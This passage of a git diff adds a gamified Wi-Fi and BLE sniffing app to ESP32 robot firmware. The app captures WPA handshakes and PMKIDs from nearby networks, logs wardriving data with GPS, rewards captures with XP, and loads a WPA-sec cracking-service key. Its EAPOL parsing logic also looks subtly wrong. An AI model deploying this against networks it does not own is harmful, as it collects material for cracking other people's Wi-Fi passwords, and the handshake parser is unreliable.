(int)devices.size(); i++) { + char line[80]; + snprintf(line, sizeof(line), "%s %s\n RSSI: %ddBm\n", + getSignalBars(devices[i].rssi), devices[i].name, (int)devices[i].rssi); + size_t len = strlen(line); + if (blePos + len < sizeof(bleText) - 1) { + strcat(bleText, line); + blePos += len; + } + } + } else { + snprintf(bleText, sizeof(bleText), "No BLE devices found.\nScanning for nearby Bluetooth..."); + } + _networkListLabel->setText(bleText); + } else if (networks.size() > 0) { + char networkList[256] = ""; + size_t listPos = 0; + int count = std::min((int)networks.size(), 4); + for (int i = networks.size() - count; i < (int)networks.size(); i++) { + char line[64]; + snprintf(line, sizeof(line), "%s %s (%ddBm)\n", + getSignalBars(networks[i].rssi), networks[i].ssid, (int)networks[i].rssi); + size_t len = strlen(line); + if (listPos + len < sizeof(networkList) - 1) { + strcat(networkList, line); + listPos += len; + } + } + _networkListLabel->setText(networkList); + } else { + _networkListLabel->setText("[W] Scanning for networks..."); + } + + // Idle dialogue - random quirky phrases in all active modes + if (_currentMode == gotchi::Mode::SNIFF || _currentMode == gotchi::Mode::SCOUT || + _currentMode == gotchi::Mode::WARDIVE || _currentMode == gotchi::Mode::SPECTRUM || + _currentMode == gotchi::Mode::BLE_SNIFF) { + uint32_t now = GetHAL().millis(); + if (now - _lastIdleSpeak > 5000 && _idleDialogue.shouldSpeak(now)) { + _lastIdleSpeak = now; + if (GetStackChan().hasAvatar()) { + const char* phrase = _idleDialogue.getRandomPhrase(networks, stats.xp, stats.level, true); + GetStackChan().avatar().setSpeech(phrase); + GetStackChan().addModifier(std::make_unique(2500, 180, true)); + } + } + } + + // Update last count when leaving sniff mode + if (_currentMode != gotchi::Mode::SNIFF) { + _lastNetworkCount = 0; + } + if (_currentMode != gotchi::Mode::BLE_SNIFF) { + _lastBLEDeviceCount = 0; + } + + if (_currentMode != _lastLoggedMode) { + _lastLoggedMode = _currentMode; + mclog::tagInfo(getAppInfo().name, "Mode: {} | XP: {} | Lvl: {} | Networks: {}", + gotchi::getModeName(_currentMode), (int)stats.xp, (int)stats.level, (int)networks.size()); + } +} \ No newline at end of file diff --git a/firmware/main/apps/app_gotchi/app_gotchi.h b/firmware/main/apps/app_gotchi/app_gotchi.h new file mode 100644 index 0000000..842e32b --- /dev/null +++ b/firmware/main/apps/app_gotchi/app_gotchi.h @@ -0,0 +1,57 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include + +class AppGotchi : public mooncake::AppAbility { +public: + AppGotchi(); + + void onCreate() override; + void onOpen() override; + void onRunning() override; + void onClose() override; + +private: + void initGotchi(); + void updateGotchi(); + void handleInput(); + void updateAvatar(); + void updateHeadAnimation(); + void updateNeonLights(); + void cycleMode(); + void renderUI(); + + std::mutex _mutex; + bool _isRunning = false; + uint32_t _lastUpdate = 0; + uint32_t _lastHeadAnim = 0; + uint32_t _lastModeChange = 0; + uint32_t _pressStartTime = 0; + + gotchi::Mode _currentMode = gotchi::Mode::IDLE; + gotchi::Mode _lastLoggedMode = gotchi::Mode::IDLE; + int _headYawOffset = 0; + int _headPitchOffset = 0; + int16_t _lastTargetYaw = 0; + int16_t _lastTargetPitch = 0; + bool _touchTracking = false; + + std::unique_ptr _statsLabel; + std::unique_ptr _networkListLabel; + uint32_t _lastNetworkCount = 0; + uint32_t _lastBLEDeviceCount = 0; + uint32_t _lastIdleSpeak = 0; + int _neonFlashCount = 0; + gotchi::IdleDialogue _idleDialogue; + int _lastExcitementLevel = 0; +}; \ No newline at end of file diff --git a/firmware/main/apps/app_launcher/app_launcher.cpp b/firmware/main/apps/app_launcher/app_launcher.cpp index e1e3d20..f0a019a 100644 --- a/firmware/main/apps/app_launcher/app_launcher.cpp +++ b/firmware/main/apps/app_launcher/app_launcher.cpp @@ -26,12 +26,10 @@ void AppLauncher::onLauncherOpen() LvglLockGuard lock; - if (!_startup_checked && !GetHAL().isAppConfiged()) { - mclog::tagInfo(getAppInfo().name, "app not configured, start startup worker"); - _startup_worker = std::make_unique(); - } else { - create_launcher_view(); - } + // Skip startup worker - always show launcher with all apps (including Gotchi) + // This bypasses the "Welcome!" setup screen + _startup_checked = true; + create_launcher_view(); } void AppLauncher::onLauncherRunning() diff --git a/firmware/main/apps/apps.h b/firmware/main/apps/apps.h index 77cc9b7..631be6b 100644 --- a/firmware/main/apps/apps.h +++ b/firmware/main/apps/apps.h @@ -1,5 +1,5 @@ /* - * SPDX-FileCopyrightText: 2026 M5Stack Technology CO LTD + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi * * SPDX-License-Identifier: MIT */ @@ -12,3 +12,4 @@ #include "app_app_center/app_app_center.h" #include "app_ezdata/app_ezdata.h" #include "app_dance/app_dance.h" +#include "app_gotchi/app_gotchi.h" diff --git a/firmware/main/gotchi/gotchi.cpp b/firmware/main/gotchi/gotchi.cpp new file mode 100644 index 0000000..605f6ea --- /dev/null +++ b/firmware/main/gotchi/gotchi.cpp @@ -0,0 +1,1004 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "gotchi.h" +#include "storage.h" +#include "gps.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static const char* TAG = "gotchi"; + +namespace gotchi { + +static Mode _currentMode = Mode::IDLE; +static Mood _currentMood = Mood::NEUTRAL; +static int32_t _xp = 0; +static int32_t _level = 1; +static bool _initialized = false; +static bool _sniffing = false; +static bool _wifiInitialized = false; + +static uint32_t _startTime = 0; +static uint32_t _networksFound = 0; +static uint32_t _handshakesCaptured = 0; +static uint32_t _channelsScanned = 0; +static uint32_t _lastChannelHop = 0; + +// Session tracking +static uint32_t _sessionStartTime = 0; +static uint32_t _sessionStartXP = 0; +static uint32_t _currentChannel = 1; +static int32_t _minHeapSession = 0; + +static std::vector _networks; +static std::vector _handshakes; +static std::vector _bleDevices; +static const int MAX_NETWORKS = 200; + +// Configuration +static GotchiConfig _config; +static const int MAX_HANDSHAKES = 50; +static const int MAX_BLE_DEVICES = 100; +static bool _bleScanning = false; + +// Handshake state tracking - tracks 4-way handshake progress +struct HandshakeState { + uint8_t bssid[6]; + uint8_t clientMac[6]; + char ssid[33]; + bool hasM1; // Has ANonce from AP + bool hasM2; // Has SNonce from client + bool hasM3; // Has GTK from AP + bool hasM4; // Final confirmation from client + uint8_t anonce[32]; + uint8_t snonce[32]; + uint8_t mic[16]; + uint32_t lastSeen; +}; + +static std::vector _pendingHandshakes; + +static int findPendingHandshake(const uint8_t* bssid, const uint8_t* clientMac) { + for (int i = 0; i < (int)_pendingHandshakes.size(); i++) { + if (memcmp(_pendingHandshakes[i].bssid, bssid, 6) == 0) { + if (clientMac == nullptr || memcmp(_pendingHandshakes[i].clientMac, clientMac, 6) == 0) { + return i; + } + } + } + return -1; +} + +static void processEapolFrame(uint8_t* payload, int len, const uint8_t* srcMac, const uint8_t* dstMac, + const char* ssid, const uint8_t* bssid, int8_t rssi) { + // Need at least: LLC (6) + SNAP (6) + EAPOL (4) + Key Info (10) = 26 minimum + if (len < 26) return; + + // Check for LLC+SNAP header: AA:AA:03 (802.1X) + if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03) return; + + // Check for EAPOL (type 0x88, version 0x01) + if (payload[3] != 0x88 || payload[4] != 0x01) return; + + // Skip to EAPOL payload + uint8_t* eapol = payload + 4; + + // Check key descriptor type (0x02 = RSN, 0x01 = WPA) + if (eapol[1] != 0x02 && eapol[1] != 0x01) return; + + // Key descriptor flags: byte eapol[3] and eapol[4] + uint16_t keyInfo = (eapol[3] << 8) | eapol[4]; + + // Check if this is a key frame (bit 0 = Key Type) + bool isKeyFrame = (keyInfo & 0x01) != 0; + bool hasKeyMic = (keyInfo & 0x100) != 0; // Key MIC bit + bool hasKeyData = (keyInfo & 0x200) != 0; // Key Data bit (PMKID or GTK) + bool isFromAP = (keyInfo & 0x0400) != 0; // Install bit - from AP + + if (!isKeyFrame) return; + + // Key Data Length (bytes 6-7) + uint16_t keyDataLen = (eapol[6] << 8) | eapol[7]; + if (keyDataLen > len - 8) return; + + // Find associated network to get SSID + char targetSSID[33] = {0}; + if (ssid && strlen(ssid) > 0) { + strncpy(targetSSID, ssid, 32); + } else { + // Look up SSID from BSSID in known networks + for (const auto& net : _networks) { + if (memcmp(net.bssid, bssid, 6) == 0) { + strncpy(targetSSID, net.ssid, 32); + break; + } + } + } + + // Determine message type based on flags + // M1: From AP, no MIC, has key data (ANonce) + // M2: From Client, has MIC, no key data (SNonce + MIC) + // M3: From AP, has MIC, has key data (GTK + MIC) + // M4: From Client, has MIC, no key data (confirmation) + + HandshakeState hs = {}; + memcpy(hs.bssid, bssid, 6); + memcpy(hs.clientMac, isFromAP ? dstMac : srcMac, 6); // Client is receiver for M1/M3, sender for M2/M4 + strncpy(hs.ssid, targetSSID, 32); + hs.lastSeen = GetHAL().millis(); + hs.hasM1 = false; + hs.hasM2 = false; + hs.hasM3 = false; + hs.hasM4 = false; + + // Extract key information + // Key Data starts at offset 8 in EAPOL, after Length (2 bytes) + uint8_t* keyData = eapol + 8; + + // For RSN (WPA2), check for PMKID in Key Data + // PMKID is at offset 0 in RSN IE when present + bool hasPMKID = false; + if (keyDataLen >= 4 && keyData[0] == 0xDD && keyData[1] == 0x16) { + // Look for PMKID in RSN IE + for (int i = 0; i < keyDataLen - 8; i++) { + if (keyData[i] == 0xDD && keyData[i+1] == 0x14) { // PMKID IE + hasPMKID = true; + ESP_LOGI(TAG, "Detected PMKID for %s!", targetSSID); + break; + } + } + } + + // Determine which message we got + if (!isFromAP && !hasKeyMic && hasKeyData) { + // This is M1: First message from AP + hs.hasM1 = true; + // Extract ANonce from key data + if (keyDataLen >= 32) { + memcpy(hs.anonce, keyData + 2, 32); // Skip RSN IE header + } + } else if (isFromAP && hasKeyMic && hasKeyData) { + // This is M3: Third message from AP (includes GTK) + hs.hasM3 = true; + hs.hasM1 = true; // Must have M1 before M3 + } else if (!isFromAP && hasKeyMic && !hasKeyData) { + // This is M2 or M4: Client response + if (hasPMKID) { + hs.hasM3 = true; // Treat PMKID as M3 + } + } + + // Find or create pending handshake + int idx = findPendingHandshake(bssid, hs.clientMac); + if (idx >= 0) { + // Update existing + if (hs.hasM1) _pendingHandshakes[idx].hasM1 = true; + if (hs.hasM2) _pendingHandshakes[idx].hasM2 = true; + if (hs.hasM3) _pendingHandshakes[idx].hasM3 = true; + if (hs.hasM4) _pendingHandshakes[idx].hasM4 = true; + _pendingHandshakes[idx].lastSeen = GetHAL().millis(); + } else if (_pendingHandshakes.size() < MAX_HANDSHAKES) { + _pendingHandshakes.push_back(hs); + idx = _pendingHandshakes.size() - 1; + } + + // Check if handshake is complete (M1+M2 or M1+M3) + if (_pendingHandshakes[idx].hasM1 && (_pendingHandshakes[idx].hasM2 || _pendingHandshakes[idx].hasM3)) { + + // Create final handshake record + HandshakeInfo finalHs = {}; + strncpy(finalHs.ssid, _pendingHandshakes[idx].ssid, 32); + memcpy(finalHs.bssid, _pendingHandshakes[idx].bssid, 6); + memcpy(finalHs.clientMac, _pendingHandshakes[idx].clientMac, 6); + finalHs.timestamp = GetHAL().millis(); + finalHs.isComplete = true; + finalHs.messagesGot = 0x07; // M1+M2+M3 captured + + _handshakes.push_back(finalHs); + _handshakesCaptured++; + + // Mark network as having capture + for (auto& net : _networks) { + if (memcmp(net.bssid, bssid, 6) == 0) { + net.hasCapture = true; + break; + } + } + + ESP_LOGI(TAG, "🎉 Complete handshake captured for %s!", finalHs.ssid); + + // Remove from pending + _pendingHandshakes.erase(_pendingHandshakes.begin() + idx); + + // Bonus XP for capture + addXP(25); // Reduced from 50 XP + } +} + +// Forward declaration for header length calculation +static int ieee80211_hdrlen(uint16_t fc); + +// WiFi promiscuous packet handler - captures beacon frames and data frames +static void wifiSniffCallback(void* buf, wifi_promiscuous_pkt_type_t type) { + if (buf == nullptr) return; + + wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; + uint8_t* payload = pkt->payload; + int len = pkt->rx_ctrl.sig_len; + + if (len < 24) return; + + // Handle management frames (beacons) + if (type == WIFI_PKT_MGMT) { + // Check if this is a Beacon frame (subtype 0x80) + if ((payload[0] & 0xFC) != 0x80) return; + + // Beacon frame - parse SSID from tag 0x00 + int pos = 36; // Skip fixed parameters + while (pos < len - 2) { + uint8_t tag = payload[pos]; + uint8_t tag_len = payload[pos + 1]; + + if (tag == 0x00) { // SSID tag + if (tag_len > 0 && tag_len < 33) { + // Found SSID - get BSSID and channel + uint8_t bssid[6]; + memcpy(bssid, &payload[10], 6); + int8_t rssi = pkt->rx_ctrl.rssi; + uint8_t channel = pkt->rx_ctrl.channel; + + // Check if already known + bool found = false; + for (auto& net : _networks) { + if (memcmp(net.bssid, bssid, 6) == 0) { + net.rssi = rssi; + net.lastSeen = GetHAL().millis(); + found = true; + break; + } + } + + // Add new network + if (!found && _networks.size() < MAX_NETWORKS) { + NetworkInfo net; + memset(net.ssid, 0, 33); + memcpy(net.ssid, &payload[pos + 2], tag_len); + memcpy(net.bssid, bssid, 6); + net.rssi = rssi; + net.channel = channel; + net.isHidden = false; + net.hasCapture = false; + net.lastSeen = GetHAL().millis(); + _networks.push_back(net); + _networksFound++; + ESP_LOGI(TAG, "Found: %.32s (ch:%d rssi:%d)", net.ssid, channel, rssi); + } + } + break; + } + pos += tag_len + 2; + } + } + + // Handle data frames (potential EAPOL handshakes) + else if (type == WIFI_PKT_DATA) { + if (len < 24) return; + + // Parse frame control to get header length + uint16_t fc = payload[0] | (payload[1] << 8); + int hdrlen = ieee80211_hdrlen(fc); + + if (len < hdrlen + 8) return; // Not enough for LLC+EAPOL header + + // Check for ToDS/FromDS to adjust for 4-address format + bool toDs = (fc & 0x0100) != 0; + bool fromDs = (fc & 0x0200) != 0; + + // Adjust offset for 4-address WDS frames + int offset = hdrlen; + if (toDs && fromDs) offset += 6; // WDS frame has 4 addresses + + // Check for QoS data frame + uint8_t subtype = (fc >> 4) & 0x0F; + bool isQoS = (subtype & 0x08) != 0; + if (isQoS) offset += 2; + + // Check for HTC field (present in QoS frames with Order bit set) + if (isQoS && (payload[1] & 0x80)) offset += 4; + + if (offset + 8 > len) return; + + // Check LLC/SNAP header for EAPOL (0xAA 0xAA 0x03 0x00 0x00 0x00 0x88 0x8E) + if (payload[offset] == 0xAA && payload[offset+1] == 0xAA && + payload[offset+2] == 0x03 && payload[offset+3] == 0x00 && + payload[offset+4] == 0x00 && payload[offset+5] == 0x00 && + payload[offset+6] == 0x88 && payload[offset+7] == 0x8E) { + + // Get MACs from 802.11 header + uint8_t srcMac[6], dstMac[6]; + memcpy(srcMac, &payload[10], 6); // Transmitter Address (TA) + memcpy(dstMac, &payload[4], 6); // Receiver Address (RA) + + // BSSID is at offset 16 (Address 3) + uint8_t bssid[6]; + memcpy(bssid, &payload[16], 6); + + // Try to find SSID for the BSSID + char ssid[33] = {0}; + for (const auto& net : _networks) { + if (memcmp(net.bssid, bssid, 6) == 0) { + strncpy(ssid, net.ssid, 32); + break; + } + } + + processEapolFrame(payload + offset + 8, len - offset - 8, srcMac, dstMac, ssid, bssid, pkt->rx_ctrl.rssi); + } + } +} + +// Calculate 802.11 header length based on frame control field +static int ieee80211_hdrlen(uint16_t fc) { + int hdrlen = 24; // base header + uint8_t type = (fc >> 2) & 0x3; + + if (type == 2) { // Data frame + if (fc & 0x0080) hdrlen += 2; // QoS flag + } + if (fc & 0x8000) hdrlen += 4; // HT control present + + return hdrlen; +} + +// StackChan-Gotchi unique level titles - robot personality progression +static const char* LEVEL_TITLES[] = { + "Unit", // Lv1 - Freshly booted + "Watcher", // Lv2 - Observing networks + "Scanner", // Lv3 - Active scanning + "Seeker", // Lv4 - Finding targets + "Prowler", // Lv5 - Silent operation + "Phantom", // Lv6 - Undetected + "Apex", // Lv7 - Top predator + "Omega" // Lv8 - Network master +}; + +static const int XP_PER_LEVEL[] = { + 0, 50, 150, 350, 700, 1200, 2000, 3500 +}; + +const char* getModeName(Mode mode) { + switch (mode) { + case Mode::IDLE: return "IDLE"; + case Mode::SNIFF: return "SNIFF"; + case Mode::SCOUT: return "SCOUT"; + case Mode::WARDIVE: return "WARDIVE"; + case Mode::SPECTRUM: return "SPECTRUM"; + case Mode::BLE_SNIFF: return "BLE-SNIFF"; + default: return "UNKNOWN"; + } +} + +const char* getLevelTitle(int level) { + if (level < 1) level = 1; + if (level > 8) level = 8; + return LEVEL_TITLES[level - 1]; +} + +int getXPForLevel(int level) { + if (level < 1) level = 1; + if (level > 8) level = 8; + return XP_PER_LEVEL[level - 1]; +} + +int getXPProgress(int32_t xp, int level) { + if (level < 1) level = 1; + if (level > 8) return 100; // Max level + + int currentLevelXP = XP_PER_LEVEL[level - 1]; + int nextLevelXP = (level < 8) ? XP_PER_LEVEL[level] : XP_PER_LEVEL[7]; + + int xpInLevel = xp - currentLevelXP; + int xpNeeded = nextLevelXP - currentLevelXP; + + if (xpNeeded <= 0) return 100; + + int progress = (xpInLevel * 100) / xpNeeded; + if (progress > 100) progress = 100; + if (progress < 0) progress = 0; + + return progress; +} + +static void updateLevel() { + for (int i = 7; i >= 0; i--) { + if (_xp >= XP_PER_LEVEL[i]) { + _level = i + 1; + return; + } + } + _level = 1; +} + +static void loadFromNVS() { + nvs_handle_t nvs; + esp_err_t err = nvs_open("gotchi", NVS_READONLY, &nvs); + if (err != ESP_OK) { + ESP_LOGI(TAG, "No saved data, starting fresh"); + return; + } + + int32_t savedXP = 0; + int32_t savedLevel = 1; + uint32_t savedNetworks = 0; + + if (nvs_get_i32(nvs, "xp", &savedXP) == ESP_OK) { + _xp = savedXP; + } + if (nvs_get_i32(nvs, "level", &savedLevel) == ESP_OK) { + _level = savedLevel; + } + if (nvs_get_u32(nvs, "netsfound", &savedNetworks) == ESP_OK) { + _networksFound = savedNetworks; + } + + nvs_close(nvs); + ESP_LOGI(TAG, "Loaded from NVS: XP=%d, Level=%d, Networks=%u", (int)_xp, (int)_level, (unsigned)_networksFound); +} + +static void saveToNVS() { + nvs_handle_t nvs; + esp_err_t err = nvs_open("gotchi", NVS_READWRITE, &nvs); + if (err != ESP_OK) { + ESP_LOGW(TAG, "Failed to open NVS for writing"); + return; + } + + nvs_set_i32(nvs, "xp", _xp); + nvs_set_i32(nvs, "level", _level); + nvs_set_u32(nvs, "netsfound", _networksFound); + nvs_set_u32(nvs, "netscnt", (uint32_t)_networks.size()); + nvs_commit(nvs); + nvs_close(nvs); + + ESP_LOGI(TAG, "Saved to NVS: XP=%d, Level=%d, Networks=%u", (int)_xp, (int)_level, (unsigned)_networks.size()); +} + +void init() { + if (_initialized) return; + + ESP_LOGI(TAG, "Initializing StackChan-Gotchi..."); + + esp_err_t ret = nvs_flash_init(); + if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { + ESP_LOGW(TAG, "NVS flash needs recovery, erasing..."); + esp_err_t erase_ret = nvs_flash_erase(); + if (erase_ret != ESP_OK) { + ESP_LOGE(TAG, "NVS erase failed: %d", erase_ret); + } + ret = nvs_flash_init(); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "NVS init after erase failed: %d", ret); + } + } else if (ret != ESP_OK) { + ESP_LOGE(TAG, "NVS flash init failed: %d", ret); + } + + // Load saved XP/level from NVS + loadFromNVS(); + + // Initialize GPS + initGPS(); + + // Initialize storage and load config + if (initStorage()) { + if (loadConfig(_config)) { + ESP_LOGI(TAG, "Config loaded from SD card"); + if (_config.wigleApiKey[0] != '\0') { + ESP_LOGI(TAG, "WiGLE API key configured"); + } + if (_config.wpasecKey[0] != '\0') { + ESP_LOGI(TAG, "WPA-sec API key configured"); + } + } + // Save default config if not exists + saveConfig(_config); + } + + // Initialize BLE system for scanning capability + // This ensures NimBLE host is started before we attempt any BLE operations + ESP_LOGI(TAG, "Ensuring BLE system is ready..."); + GetHAL().startBleServer(); // This initializes NimBLE as peripheral + // Brief delay to allow BLE to initialize + vTaskDelay(pdMS_TO_TICKS(100)); + + _currentMode = Mode::IDLE; + _currentMood = Mood::NEUTRAL; + _startTime = GetHAL().millis(); + _initialized = true; + + ESP_LOGI(TAG, "StackChan-Gotchi initialized"); +} + +void update() { + if (!_initialized) return; + + // Update GPS data + updateGPS(); + + uint32_t now = GetHAL().millis(); + uint32_t uptime = (now - _startTime) / 1000; + + // Channel hopping - prioritize primary channels 1, 6, 11 for better coverage + if (_sniffing && (now - _lastChannelHop) > 200) { + static uint8_t hopIndex = 0; + // Primary channels get more dwell time, secondary channels scanned less + static const uint8_t channelSequence[] = {1, 6, 11, 2, 3, 4, 5, 7, 8, 9, 10, 12, 13}; + hopIndex = (hopIndex + 1) % 13; + _currentChannel = channelSequence[hopIndex]; + esp_wifi_set_channel(_currentChannel, WIFI_SECOND_CHAN_NONE); + _channelsScanned++; + _lastChannelHop = now; + } + +// Passive XP gain (reduced rate - every 30 seconds) + if (uptime % 3000 == 0 && uptime > 0) { + addXP(1); + } + + // Bonus XP for networks found (every 60 seconds, but reduced gain) + if (_networksFound > 0 && (now % 60000) < 100) { + addXP(1); // 1 XP per minute regardless of network count + } +} + +void shutdown() { + if (!_initialized) return; + + stopSniff(); + stopScout(); + + // Save XP/level before shutdown + saveToNVS(); + + _initialized = false; + _wifiInitialized = false; + + ESP_LOGI(TAG, "StackChan-Gotchi shutdown"); +} + +void setMode(Mode mode) { + if (_currentMode == mode) return; + + bool wasSniffing = _sniffing; + _currentMode = mode; + + // Stop any previous WiFi/BLE activity + if (wasSniffing) { + stopSniff(); + stopScout(); + } + if (_bleScanning) { + stopBLEScan(); + } + + // Start appropriate mode + switch (mode) { + case Mode::SNIFF: + ESP_LOGI(TAG, "Starting SNIFF mode (promiscuous)"); + _sessionStartTime = GetHAL().millis(); + _sessionStartXP = _xp; + startSniff(); + break; + case Mode::SCOUT: + ESP_LOGI(TAG, "Starting SCOUT mode (active scan)"); + _sessionStartTime = GetHAL().millis(); + _sessionStartXP = _xp; + startScout(); + break; + case Mode::WARDIVE: + ESP_LOGI(TAG, "Starting WARDIVE mode (passive)"); + _sessionStartTime = GetHAL().millis(); + _sessionStartXP = _xp; + startSniff(); + break; + case Mode::SPECTRUM: + ESP_LOGI(TAG, "Starting SPECTRUM mode (passive)"); + _sessionStartTime = GetHAL().millis(); + _sessionStartXP = _xp; + startSniff(); + break; + case Mode::BLE_SNIFF: + ESP_LOGI(TAG, "Starting BLE-SNIFF mode (BLE scan)"); + _sessionStartTime = GetHAL().millis(); + _sessionStartXP = _xp; + startBLEScan(); + break; + case Mode::IDLE: + ESP_LOGI(TAG, "IDLE mode"); + break; + default: + break; + } + + switch (mode) { + case Mode::SNIFF: + _currentMood = Mood::FOCUSED; + break; + case Mode::SCOUT: + _currentMood = Mood::NEUTRAL; + break; + case Mode::WARDIVE: + _currentMood = Mood::EXCITED; + break; + case Mode::SPECTRUM: + _currentMood = Mood::FOCUSED; + break; + case Mode::BLE_SNIFF: + _currentMood = Mood::FOCUSED; + break; + default: + _currentMood = Mood::HAPPY; + break; + } +} + +Mode getCurrentMode() { + return _currentMode; +} + +void setMood(Mood mood) { + _currentMood = mood; +} + +Mood getCurrentMood() { + return _currentMood; +} + +Stats getStats() { + Stats stats; + stats.xp = _xp; + stats.level = _level; + stats.networksFound = _networksFound; + stats.handshakesCaptured = _handshakesCaptured; + stats.channelsScanned = _channelsScanned; + stats.uptimeSeconds = (GetHAL().millis() - _startTime) / 1000; + + // Session statistics + stats.sessionNetworks = _networks.size(); + stats.sessionTimeSeconds = (GetHAL().millis() - _sessionStartTime) / 1000; + stats.sessionStartTime = _sessionStartTime; + stats.sessionXPGain = _xp - _sessionStartXP; + stats.currentChannel = _currentChannel; + + // Heap monitoring + stats.freeHeap = heap_caps_get_free_size(MALLOC_CAP_8BIT); + if (_minHeapSession == 0 || stats.freeHeap < _minHeapSession) { + _minHeapSession = stats.freeHeap; + } + stats.minHeap = _minHeapSession; + + // GPS data + GPSData gps = getGPSData(); + stats.gpsValid = gps.valid; + stats.gpsSatellites = gps.satellites; + stats.gpsLat = gps.latitude; + stats.gpsLon = gps.longitude; + + return stats; +} + +GotchiConfig getConfig() { + return _config; +} + +void addXP(int32_t amount) { + // Apply mode-specific multipliers + float multiplier = 1.0f; + switch (_currentMode) { + case Mode::WARDIVE: + multiplier = 1.5f; // Active wardriving = bonus XP + break; + case Mode::SPECTRUM: + multiplier = 1.2f; // Channel analysis is valuable + break; + case Mode::SCOUT: + multiplier = 0.8f; // Passive scanning = less effort + break; + case Mode::IDLE: + multiplier = 0.0f; // No XP in idle + break; + default: + multiplier = 1.0f; + break; + } + + int32_t effectiveAmount = (int32_t)(amount * multiplier); + int32_t oldXP = _xp; + _xp += effectiveAmount; + if (_xp < 0) _xp = 0; + updateLevel(); + + // Save to NVS when XP increases (throttled - max once per minute) + static uint32_t lastSave = 0; + uint32_t now = GetHAL().millis(); + if (_xp > oldXP && (now - lastSave) > 60000) { + lastSave = now; + saveToNVS(); + } +} + +std::vector getNetworks() { + return _networks; +} + +void startSniff() { + if (_sniffing) return; + + // Only initialize WiFi once - don't reinit on every mode change + if (!_wifiInitialized) { + ESP_LOGI(TAG, "Initializing WiFi (one-time)"); + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_err_t ret = esp_wifi_init(&cfg); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi init failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(100)); + + ret = esp_wifi_set_mode(WIFI_MODE_STA); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi mode set failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(100)); + + _wifiInitialized = true; + } else { + ESP_LOGI(TAG, "Reusing existing WiFi"); + } + + esp_err_t ret = esp_wifi_disconnect(); + (void)ret; + vTaskDelay(pdMS_TO_TICKS(100)); + + // Register packet capture callback + esp_wifi_set_promiscuous_rx_cb(wifiSniffCallback); + + // Enable both management and data frame capture for handshake detection + wifi_promiscuous_filter_t filter = { + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA + }; + ret = esp_wifi_set_promiscuous_filter(&filter); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "Set filter failed: %d", ret); + } + ret = esp_wifi_set_promiscuous(true); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "Promiscuous mode error (non-fatal): %d", ret); + esp_wifi_set_promiscuous(false); + wifi_scan_config_t scan_config = {}; + scan_config.show_hidden = true; + esp_wifi_scan_start(&scan_config, false); + } + vTaskDelay(pdMS_TO_TICKS(100)); + + // Start on channel 1 and initialize channel hopping + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + _lastChannelHop = GetHAL().millis(); + + _sniffing = true; + ESP_LOGI(TAG, "Sniff mode started"); +} + +void stopSniff() { + if (!_sniffing) return; + + esp_wifi_set_promiscuous(false); + _sniffing = false; + ESP_LOGI(TAG, "Sniff mode stopped"); +} + +void startScout() { + if (_sniffing) return; + + // Reuse WiFi if already initialized + if (!_wifiInitialized) { + ESP_LOGI(TAG, "Initializing WiFi for Scout (one-time)"); + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_err_t ret = esp_wifi_init(&cfg); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi init failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(50)); + + ret = esp_wifi_set_mode(WIFI_MODE_STA); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi mode set failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(50)); + + _wifiInitialized = true; + } + + wifi_scan_config_t scan_config = {}; + scan_config.show_hidden = true; + esp_wifi_scan_start(&scan_config, false); + + _sniffing = true; + ESP_LOGI(TAG, "Scout mode started"); +} + +void stopScout() { + if (!_sniffing) return; + + esp_wifi_scan_stop(); + _sniffing = false; + ESP_LOGI(TAG, "Scout mode stopped"); +} + +bool isSniffing() { + return _sniffing; +} + +std::vector getChannelAnalysis() { + std::vector channelInfo(14); + + for (int i = 0; i < 14; i++) { + channelInfo[i].channel = i + 1; + channelInfo[i].networkCount = 0; + channelInfo[i].maxRssi = -100; + channelInfo[i].avgRssi = -100; + } + + int channelSum[14] = {0}; + int channelCount[14] = {0}; + + for (const auto& net : _networks) { + if (net.channel >= 1 && net.channel <= 14) { + int idx = net.channel - 1; + channelInfo[idx].networkCount++; + channelSum[idx] += net.rssi; + channelCount[idx]++; + if (net.rssi > channelInfo[idx].maxRssi) { + channelInfo[idx].maxRssi = net.rssi; + } + } + } + + for (int i = 0; i < 14; i++) { + if (channelCount[i] > 0) { + channelInfo[i].avgRssi = channelSum[i] / channelCount[i]; + } + } + + return channelInfo; +} + +void addHandshake(const HandshakeInfo& hs) { + if (_handshakes.size() >= MAX_HANDSHAKES) { + _handshakes.erase(_handshakes.begin()); + } + _handshakes.push_back(hs); +} + +std::vector getHandshakes() { + return _handshakes; +} + +int getHandshakeCount() { + int count = 0; + for (const auto& hs : _handshakes) { + if (hs.isComplete) count++; + } + return count; +} + +bool hasCompleteHandshake(const uint8_t* bssid) { + for (const auto& hs : _handshakes) { + if (hs.isComplete && memcmp(hs.bssid, bssid, 6) == 0) { + return true; + } + } + return false; +} + +std::vector getBLEDevices() { + return _bleDevices; +} + +int getBLEDeviceCount() { + return (int)_bleDevices.size(); +} + +static int bleScanCb(struct ble_gap_event* event, void* arg) { + if (event->type == BLE_GAP_EVENT_DISC) { + const struct ble_gap_disc_desc* desc = &event->disc; + + 